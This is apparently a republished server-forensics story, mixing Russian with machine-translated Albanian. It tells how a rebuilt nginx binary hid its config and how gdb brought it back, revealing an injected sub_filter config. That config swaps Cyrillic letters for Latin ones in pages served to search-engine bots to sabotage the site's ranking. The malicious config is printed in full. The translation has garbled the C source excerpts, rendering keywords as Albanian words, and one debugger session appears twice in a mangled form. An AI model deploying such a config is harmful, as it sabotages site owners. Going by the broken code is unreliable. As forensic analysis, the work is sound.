Kur 'a' nuk është e barabartë me 'a'. Pas një hackimi të caktuar

Пренеприятнейшая история случилась с одним моим знакомым. Но насколько она оказалась неприятной для Михаила настолько же занимательной для меня.

Надо сказать, что приятель мой вполне себе UNIX-пользователь: может сам поставить систему, установить mysql, php и сделать простейшие настройки nginx.
И есть у него десяток-полтора сайтов посвященных строительным инструментам.

Один из таких сайтов посвященный бензопилам плотненько сидит в ТОПe поисковиков. Сайт этот — некоммерческий обзорник, но кому-то поперек горла и повадились его атаковать. То DDoS, то брутфорс, то комменты напишут непотребные и шлют абузы на хостинг и в РКН.
Неожиданно всё стихло и это затишье оказалось не к добру, а сайт начал постепенно покидать верхние строчки выдачи.

Kur 'a' nuk është e barabartë me 'а'. Pas njërës prej thyerjeve

То была присказка, дальше сама админская байка.

Время близилось ко сну когда раздался звонок телефона: «Сань, ты не глянешь мой сервер? Мне кажется меня хакнули, доказать не могу, но ощущение не покидает уже третью неделю. Может мне просто пора лечиться от паранойи?»

Далее пошло получасовое обсуждение которое кратко можно изложить так:

  • почва для взлома была вполне плодородной;
  • взломщик мог получить права суперпользователя;
  • атака (если она имела место) была целенаправленной и именно на этот сайт;
  • проблемные места исправлены и нужно только понять был ли факт проникновения;
  • взлом не мог коснуться кода сайта и баз данных.

Касательно последнего пункта.

Kur 'a' nuk është e barabartë me 'а'. Pas njërës prej thyerjeve

В мир смотрит только белый IP фронтенда. Между бакендами и фронтендом нет никакого обмена кроме http(s), пользователи/пароли разные, ключами не обменивались. На серых адресах все порты кроме 80/443 закрыты. Белые IP бакендов известны только двум пользователям, которым Михаил всецело доверяет.

На фронтенде установлена Debian 9 и к моменту звонка система изолирована от мира внешним firewall’ом и остановлена.

«Ok, давай доступы, — решаю отложить сон на часок. — Посмотрю своим глазом».

Здесь и далее:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

В поисках возможного взлома

Запускаю сервер, сначала в rescue-mode. Монтирую диски, пролистываю auth-логи, history, системные логи и т.п., по возможности проверяю даты создания файлов, хотя понимаю, что нормальный взломщик «подмел» бы за собой, да и Миша уже знатно «натоптал» пока искал сам.

Стартую в нормальном режиме, особо пока не понимая что искать, изучаю конфиги. В первую очередь интересует nginx так как, в общем-то, на фронтенде кроме него и нет ничего.
Конфиги небольшие, хорошо структурированые в десяток файлов, просматриваю их просто cat’ом по очереди. Вроде всё чисто, но мало-ли упустил какой-то include, сделаю-ка я полный листинг:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Не понял: «Где листинг-то?»

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

К вопросу о листинге добавляется второй: «Почему такая древняя версия nginx?»

К тому же система считает, что версия установлена свежее:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Звоню:
— Миш, ты зачем пересобирал nginx?
— Окстись, я даже не знаю как это сделать!
— Ok, ну, спи…

Nginx однозначно пересобран и вывод листинга по «-T» скрыт неспроста. Сомнений во взломе уже нет и можно это просто принять и (раз уж Миша всё-равно заменил сервер новым) посчитать проблему решенной.

И действительно, раз уж некто получил права root‘а, то имеет смысл делать только system reinstall, а искать, что там было набедокурено бесполезно, но в этот раз любопытство победило сон. Как же узнать что от нас хотели скрыть?

Попробуем оттрассировать:

$ strace nginx -T

Просматриваем, в трассировке явно не хватает строк а-ля

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Ради интереса сравниваем выводы

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Думаю, что часть кода /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

u transformua në formën:

            rast 't':
                ngx_test_config = 1;
                break;

            rast 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

ose

            rast 't':
                ngx_test_config = 1;
                break;

            rast 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

prandaj lista për "-T" nuk shfaqet.

Por si mund ta shohim konfigurimin tonë?

Nëse mendimi im është i saktë dhe problemi është vetëm me variablën ngx_dump_config le të përpiqemi ta vendosim atë me ndihmën e gdb, fatmirësisht çelësi —with-cc-opt -g është në dispozicion dhe shpresojmë se optimizimi -O2 nuk do na pengojë. Megjithatë, pasi nuk e di si ngx_dump_config mund të trajtohet në rast ‘T’:, mos e thirrim këtë bllok, por ta vendosim duke përdorur rast ‘t’:

Pse mund të përdoret ‘-t’ njësoj me ‘-T’Trajtimi i bllokut nëse(ngx_dump_config) ndodh brenda nëse(ngx_test_config):

    nëse (ngx_test_config) {
        nëse (!ngx_quiet_mode) {
            ngx_log_stderr(0, "skedari i konfigurimit %s është i suksesshëm",
                           cycle->conf_file.data);
        }

        nëse (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            për (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# skedari i konfigurimit ");
                (duhet) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (duhet) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        kthehu 0;
    }

Sigurisht, nëse kodi është ndryshuar në këtë pjesë, atëherë mënyra ime nuk do të funksionojë. rast ‘T’:Konfigurimi testues nginx.conf

Pasi e zgjidhëm problemin përmes përvojës, u zbulua se për të punuar me malware është e nevojshme një konfigurim minimali formatit: nginx events { }http { include /etc/nginx/sites-enabled/*; }

Atëherë do ta përdorim për shkak të shkurtimit në artikull.

Nisemi me debugger-in

$ gdb --silent --args nginx -t Duke lexuar simbolet nga nginx... përfundoi. (gdb) ndal Pika e ndalimit 1 në 0x1f390: skeda src/core/nginx.c, rreshti 188. (gdb) vrapo Duke filluar programin: nginx -t [Debugging i thread-it duke përdorur libthread_db aktivizuar] Duke përdorur bibliotekën libthread_db të hostit "/lib/x86_64-linux-gnu/libthread_db.so.1".Pika e ndalimit 1, kryesor (argc=2, argv=0x7fffffffebc8) në src/core/nginx.c:188 188 src/core/nginx.c: Nuk ka një skedë ose dosje të tillë. (gdb) print ngx_dump_config=1 $1 = 1 (gdb) vazhdo Duke vazhduar. nginx: skedari i konfiguruar /etc/nginx/nginx.conf sintaksë është e rregullt nginx: skedari i konfiguruar /etc/nginx/nginx.conf testi është i suksesshëm # skedari i konfigurimit /etc/nginx/nginx.conf: events { }http { map $http_user_agent $sign_user_agent { "~*yandex.com/bots" 1; "~*www.google.com/bot.html" 1; default 0; }map $uri $sign_uri { "~*/wp-" 1; default 0; }map о:$sign_user_agent:$sign_uri $sign_o { о:1:0 o; default о; }map а:$sign_user_agent:$sign_uri $sign_a { а:1:0 a; default а; }sub_filter_once off; sub_filter 'о' $sign_o; sub_filter 'а' $sign_a;include /etc/nginx/sites-enabled/*; } # skedari i konfigurimit /etc/nginx/sites-enabled/default:[Inferior 1 (procesi 32581) doli normalisht] (gdb) dil

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Hapat e procedurës:

  • vendosim një pikë ndalimi në funksionin main()
  • dhe nisim programin
  • ndryshojmë vlerën e variablës që përcakton nxjerrjen e konfigurows ngx_dump_config=1
  • vazhdojmë/mbyllim programin

Siç shohim, konfigurimi aktual është ndryshe nga i yni, nxjerrim nga ai një pjesë parazite:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Le të shqyrtojmë gradualisht se çfarë ndodh këtu.

Përcaktohen User-Agent‘ë yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Pagesat shërbyese përjashtohen wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

Dhe për ata që kanë përmbushur të dy kushtet e mësipërme

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

në tekst html-faqet ndryshojnë ‘о’‘o’ dhe ‘а’‘a’:

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Saktësisht kështu, e veçanta është se ‘а’ != ‘a’ po ashtu si ‘о’ != ‘o’:

Kur 'a' nuk është e barabartë me 'а'. Pas njërës prej thyerjeve

Kështu që botët e motorëve të kërkimit marrin në vend të tekstit normal 100%-kërcël, një mbushje të modifikuar të përzier me latinisht. ‘a’ dhe ‘o’. Nuk mund të spekuloj si ndikon kjo në SEO, por me siguri një përzierje e tillë shkronjash nuk do të ndihmojë pozitat në renditje.

Çfarë të themi, djemtë me imagjinatë.

Linke

Debugging me GDB
gdb(1) - faqja e manualit Linux
strace(1) - faqja e manualit Linux
Nginx - Module ngx_http_sub_module
Për thikët, thikët e benzinës dhe thikët elektrike

Burimi: habr.com

Bleni hostim të besueshëm për faqe me mbrojtje nga DDoS, serverë VPS VDS 🔥 Bleni hostim të besueshëm për faqe me mbrojtje nga DDoS, serverë VPS VDS | ProHoster